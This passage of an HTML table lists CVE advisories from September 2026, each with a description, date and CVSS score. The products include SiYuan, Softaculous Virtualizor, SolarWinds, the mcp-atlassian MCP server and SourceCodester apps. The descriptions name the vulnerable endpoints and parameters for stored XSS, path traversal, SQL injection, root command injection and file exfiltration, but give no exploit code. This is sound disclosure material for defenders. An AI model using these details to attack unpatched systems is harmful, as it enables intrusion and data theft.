&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100641&quot; target=&quot;_blank&quot;&gt;CVE-2026-100641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before v3.8.4 fail to properly escape four stored Attribute View values in textarea elements, allowing authenticated attackers to inject JavaScript by modifying field descriptions, template sources, select option descriptions, or footer calculation templates. Attackers can execute stored JavaScript when other users open affected database menus, and in the Electron desktop app with nodeIntegration enabled, this leads to command execution with SiYuan process privileges.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100643&quot; target=&quot;_blank&quot;&gt;CVE-2026-100643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions 3.7.0 before 3.8.4 contain a stored cross-site scripting vulnerability in gallery and kanban database renderers where field descriptions are not escaped in aria-label attributes. In the Electron desktop app with nodeIntegration enabled, attackers can inject JavaScript that calls Node.js child_process APIs to execute arbitrary commands with user privileges.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100645&quot; target=&quot;_blank&quot;&gt;CVE-2026-100645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan is a self-hosted personal knowledge management system. In versions up to and including 3.8.3, the kernel&#039;s authentication guards (CheckAuth in kernel/model/session.go and IsSessionOriginAllowed in kernel/util/net.go) fail open when the HTTP Origin header is absent, on the incorrect assumption that any browser-initiated cross-site request carries an Origin. Because browsers omit Origin on cross-site top-level GET navigations and no-cors GET subresource loads - and the session cookie is SameSite=Lax - a single cross-site GET issued from any attacker-controlled web page is granted RoleAdministrator, both on default installations with no access-authorization code and on password-protected instances with a live session. Combined with content-type sniffing on the /api/network/proxy endpoint, which allows attacker-controlled HTML to be served under SiYuan&#039;s own origin, this permits an unauthenticated remote attacker to execute arbitrary script in the SiYuan origin (http://127.0.0.1:6806), invoke administrator APIs, and exfiltrate the persistent kernel API token. This issue is fixed in version 3.8.4.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100646&quot; target=&quot;_blank&quot;&gt;CVE-2026-100646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before v3.8.4 contain a path traversal vulnerability in the exportBrowserHTML endpoint that allows authenticated administrators to write arbitrary HTML content to index.html outside the workspace directory. Attackers can supply a folder parameter with directory traversal sequences to escape the export directory and overwrite index.html in any pre-existing kernel-writable location, enabling stored XSS or workspace defacement.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100636&quot; target=&quot;_blank&quot;&gt;CVE-2026-100636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before v3.8.4 contain a path traversal vulnerability in the checkoutRepo endpoint that allows authenticated administrators to write JSON files outside the workspace. Attackers can supply a sessionID parameter containing directory traversal sequences to overwrite arbitrary JSON files in pre-existing kernel-writable directories outside workspace boundaries.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100637&quot; target=&quot;_blank&quot;&gt;CVE-2026-100637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions before v3.8.4 contain a path traversal vulnerability in the setNotebookIcon endpoint that allows authenticated administrators to create arbitrary directory trees and write files outside the workspace boundary. Attackers can supply directory traversal sequences in the notebook parameter to escape the workspace data directory and write conf.json files to arbitrary locations accessible by the kernel process.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100638&quot; target=&quot;_blank&quot;&gt;CVE-2026-100638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan versions from v2.1.0 before v3.8.4 contain a cross-site request forgery vulnerability in the CheckAuth lock-screen pass-through branch that grants administrator access to loopback requests without validating Origin headers. Attackers can craft malicious web pages that force victims to terminate the kernel process, read workspace configuration and proxy settings, and trigger administrative actions via zero-credential cross-origin requests from the victim&#039;s browser.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100642&quot; target=&quot;_blank&quot;&gt;CVE-2026-100642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;siyuan-note--siyuan&lt;/td&gt;
&lt;td&gt;SiYuan before v3.8.4 contains a SQL injection vulnerability in the graph query endpoint where the dailyNoteSavePath parameter is concatenated into SQL without escaping. Unauthenticated attackers on published sites with auth disabled can inject SQL via UNION SELECT to extract arbitrary database rows from all notebooks.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100644&quot; target=&quot;_blank&quot;&gt;CVE-2026-100644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softaculous--Virtualizor&lt;/td&gt;
&lt;td&gt;Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an OS command injection vulnerability in the billing module handler that allows unauthenticated remote attackers to execute arbitrary commands as root by bypassing authentication through specific parameter combinations. Attackers can deserialize a crafted billing_data POST field and inject shell payloads through the uid field, which is passed unmodified to proc_open() via vexec(), yielding complete control of the host and all managed VPS instances.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43641&quot; target=&quot;_blank&quot;&gt;CVE-2026-43641&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softaculous--Virtualizor&lt;/td&gt;
&lt;td&gt;Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains a PHP object injection vulnerability in the billing module handler that allows unauthenticated remote attackers to supply arbitrary serialized PHP objects for deserialization by setting the act parameter to login with the from_billing_module parameter present. Attackers can pass malicious serialized data through the billing_data POST field to the unserialize() function without allowed_classes restrictions, enabling exploitation of available POP chains to achieve remote code execution as root.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43642&quot; target=&quot;_blank&quot;&gt;CVE-2026-43642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Softaculous--Virtualizor&lt;/td&gt;
&lt;td&gt;Softaculous Virtualizor before 3.2.9 (Patch 9) and 3.0.0 contains an authorization bypass vulnerability in the billing module handler that allows unauthenticated remote attackers to modify any tenant&#039;s account balance by supplying crafted act and from_billing_module parameters to the admin panel dispatcher. Attackers can send a POST request with arbitrary uid and balance values in the billing_data field to trigger an unauthenticated parameterized UPDATE against the users table, enabling account balance manipulation and potential automated service suspension for targeted accounts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-43643&quot; target=&quot;_blank&quot;&gt;CVE-2026-43643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SoftNews Media Group--DataLife Engine&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in SoftNews Media Group DataLife Engine 18.0. This affects the function strip_data of the file engine/modules/search.php of the component Search Module. The manipulation of the argument story leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96604&quot; target=&quot;_blank&quot;&gt;CVE-2026-96604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SolarWinds--Observability Self-Hosted&lt;/td&gt;
&lt;td&gt;SolarWinds Observability Self-Hosted was found to be affected by an unauthenticated remote code execution vulnerability due to the insufficient integrity checks. Installations configured in a non-default and non-secure configuration are affected.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28324&quot; target=&quot;_blank&quot;&gt;CVE-2026-28324&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SolarWinds--Observability Self-Hosted&lt;/td&gt;
&lt;td&gt;SolarWinds Observability Self-Hosted was found to be affected by an unauthenticated remote code execution vulnerability stemming from deserialization of untrusted data when the application is configured to use a specific communication mode.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28325&quot; target=&quot;_blank&quot;&gt;CVE-2026-28325&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;songxinjianqwe--Chat&lt;/td&gt;
&lt;td&gt;A weakness has been identified in songxinjianqwe Chat up to ac63d25297079eed5e4ba7e88d3b7a032637150d. Affected by this issue is some unknown functionality of the file chat-server/src/main/java/cn/sinjinsong/chat/server/ChatServer.java of the component chat-server. This manipulation causes server-side request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97326&quot; target=&quot;_blank&quot;&gt;CVE-2026-97326&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the HTTP transport accepts requests without a verified user identity and downstream fetcher construction falls back to the operator&#039;s globally configured Jira or Confluence credentials. A network client that can reach the MCP endpoint can invoke Atlassian tools as the operator, including read and write operations available to that account. The advisory traces the vulnerable input and processing flow through UserTokenMiddleware, AtlassianOpaqueTokenVerifier, _get_fetcher, and streamable-http, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77244&quot; target=&quot;_blank&quot;&gt;CVE-2026-77244&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, requests to the HTTP MCP endpoint without a per-user identity are allowed to reach tool handlers, which then use globally configured Jira or Confluence credentials. A network caller can perform operations with the operator account&#039;s permissions unless the deployment has an independent authentication boundary. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, _get_fetcher, and global credentials, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77254&quot; target=&quot;_blank&quot;&gt;CVE-2026-77254&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ENABLED_TOOLS and TOOLSETS are applied when tools are listed but are not rechecked when a tools/call request is dispatched. A client that knows a hidden tool name can directly invoke excluded read, write, or delete tools despite the operator&#039;s configured least-privilege restrictions. The advisory traces the vulnerable input and processing flow through ENABLED_TOOLS, TOOLSETS, tools/list, tools/call, and _call_tool_mcp, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77243&quot; target=&quot;_blank&quot;&gt;CVE-2026-77243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the streamable HTTP transport accepts requests without a user identity and falls back to operator credentials, while upload_attachment accepts an unrestricted file_path. An unauthenticated network caller can read files available to the MCP process, upload them to an attacker-selected Jira issue or Confluence page, and retrieve the contents. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, upload_attachment, file_path, and _get_fetcher, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77248&quot; target=&quot;_blank&quot;&gt;CVE-2026-77248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira update_issue attachments argument is converted into local paths and routed to the attachment upload implementation without workspace validation. A caller can make the MCP server read arbitrary local files and attach them to a Jira issue, using the server as a confused deputy to exfiltrate the contents. The advisory traces the vulnerable input and processing flow through jira update_issue, attachments, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77255&quot; target=&quot;_blank&quot;&gt;CVE-2026-77255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment accepts an attacker-controlled file_path and does not apply the path restriction added for the earlier download vulnerability. A caller can traverse outside the workspace and upload arbitrary server-readable files to Confluence. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77262&quot; target=&quot;_blank&quot;&gt;CVE-2026-77262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf checks a hostname&#039;s resolved addresses, but Requests and urllib3 resolve the hostname again when connecting. A caller can use a short-lived DNS answer that is public during validation and private during connection, preserving unauthenticated access to internal or metadata endpoints despite the earlier CVE-2026-27826 remediation. The advisory traces the vulnerable input and processing flow through validate_url_for_ssrf, _check_dns_resolution, socket.getaddrinfo, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77242&quot; target=&quot;_blank&quot;&gt;CVE-2026-77242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an HTTP transport deployment with READ_ONLY_MODE=false accepts a request without an Authorization identity and permits attacker-controlled Atlassian service headers, including X-Atlassian-Confluence-Url, to select a public attacker hostname or one allowed by MCP_ALLOWED_URL_DOMAINS. A caller can then invoke confluence_upload_attachment or the Jira attachment variant in src/mcp_atlassian/jira/attachments.py with a server-local file_path and cause the MCP process to send the file to the selected attachment endpoint. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77246&quot; target=&quot;_blank&quot;&gt;CVE-2026-77246&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence attachment upload tools accept arbitrary local filesystem paths and send the selected bytes to Atlassian. In HTTP or multi-user deployments, a caller can cross the client-to-server filesystem boundary and disclose configuration, credentials, mounted secrets, or other files readable by the MCP process. The advisory traces the vulnerable input and processing flow through jira_upload_attachment, confluence_upload_attachment, file_path, and server-local filesystem, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77253&quot; target=&quot;_blank&quot;&gt;CVE-2026-77253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment in src/mcp_atlassian/confluence/attachments.py accepts a caller-controlled file_path and opens the selected server-local file without restricting it to the workspace. A permitted Confluence MCP caller can upload the file as an attachment and disclose data readable by the server process. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77258&quot; target=&quot;_blank&quot;&gt;CVE-2026-77258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, &quot;rb&quot;), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77259&quot; target=&quot;_blank&quot;&gt;CVE-2026-77259&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _make_ssrf_safe_hook is omitted from JiraFetcher and ConfluenceFetcher sessions created through the basic-auth and oauth_pat branches. If an attacker-controlled or compromised configured Atlassian instance returns a redirect to an internal address, those sessions can follow the redirect without revalidating its destination. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77261&quot; target=&quot;_blank&quot;&gt;CVE-2026-77261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Online Reviewer Management System 1.0. Impacted is an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=add. The manipulation of the argument difficulty_id leads to sql injection. Remote exploitation of the attack is possible. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95924&quot; target=&quot;_blank&quot;&gt;CVE-2026-95924&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Online Reviewer Management System 1.0. The affected element is an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=update. The manipulation of the argument difficulty_id results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95925&quot; target=&quot;_blank&quot;&gt;CVE-2026-95925&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester Online Reviewer Management System 1.0. The impacted element is an unknown function of the file /reviewer_0/admins/assessments/pretest/btn_functions.php?action=update. This manipulation of the argument test_id causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95926&quot; target=&quot;_blank&quot;&gt;CVE-2026-95926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in SourceCodester Online Reviewer Management System 1.0. This affects an unknown function of the file /reviewer_0/admins/assessments/pretest/exam-delete.php. Such manipulation of the argument test_id leads to sql injection. The attack may be performed from remote. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95927&quot; target=&quot;_blank&quot;&gt;CVE-2026-95927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;spree--spree&lt;/td&gt;
&lt;td&gt;Spree is an open source e-commerce solution built with Ruby on Rails. From 5.4.0 until 5.4.4 and 5.5.4, PATCH /api/v3/store/carts/:id/associate in Spree::Api::V3::Store::CartsController#associate uses find_cart_for_association to locate a cart by prefixed_id but does not require a cart token or otherwise verify possession of the selected guest cart. An authenticated customer can derive reversible prefixed cart IDs, associate an eligible guest cart with the attacker&#039;s account, and receive billing and shipping address data from the cart. Exploitation requires a guest cart with address data on a store that does not require login for checkout, and reassignment can also disrupt the guest&#039;s in-progress cart. This issue is fixed in versions 5.4.4 and 5.5.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94462&quot; target=&quot;_blank&quot;&gt;CVE-2026-94462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;square--wire&lt;/td&gt;
&lt;td&gt;Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.1 and 7.0.0-alpha04, Wire&#039;s Swift runtime ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) accepts a negative length for a LENGTH_DELIMITED field inside an unknown START_GROUP field. ProtoReader.readData() forwards the negative count to ReadBuffer.readData(count:), whose upper-bound-only check permits the value to reach Foundation Data(bytes:count:) and trigger an unrecoverable process trap instead of a catchable ProtoDecoder.Error. Any Swift process decoding untrusted protobuf bytes can be crashed without authentication, user interaction, or knowledge of the target schema. This issue is fixed in versions 6.4.1 and 7.0.0-alpha04.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61695&quot; target=&quot;_blank&quot;&gt;CVE-2026-61695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StarCitizenWiki--mediawiki-extensions-EmbedVideo&lt;/td&gt;
&lt;td&gt;The EmbedVideo Extension is a MediaWiki extension which adds a parser function called #ev and various parser tags for embedding video clips from various video sharing services. Prior to 4.1.0, with $wgEmbedVideoRequireConsent disabled (not the default), the urls for videos are passed into an iframe src attribute without sanitization. When given a malformed url or id, the src attribute can be escaped via double quotes, allowing for html/javascript injection. Version 4.1.0 contains a patch.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57440&quot; target=&quot;_blank&quot;&gt;CVE-2026-57440&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stoatchat--stoatchat&lt;/td&gt;
&lt;td&gt;January, the media proxy/embed service of stoatchat (stoatchat/stoatchat), before version 0.15.5 improperly resolves SVG &amp;lt;image href&amp;gt; values as local filesystem paths when a fetched resource is served as image/svg+xml. An unauthenticated remote attacker who causes the service to proxy an attacker-hosted SVG (e.g. via the /proxy endpoint) can determine whether local files exist through observable response-time differences, and can cause supported local image files to be disclosed after re-encoding. Because each referenced file is read in full with no effective limit on the number or total volume of reads, a single request can also generate an unbounded amount of local filesystem I/O and memory pressure (the published proof of concept drives about 4.34 GB of reads), leading to denial of service. The issue is fixed in 0.15.5.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
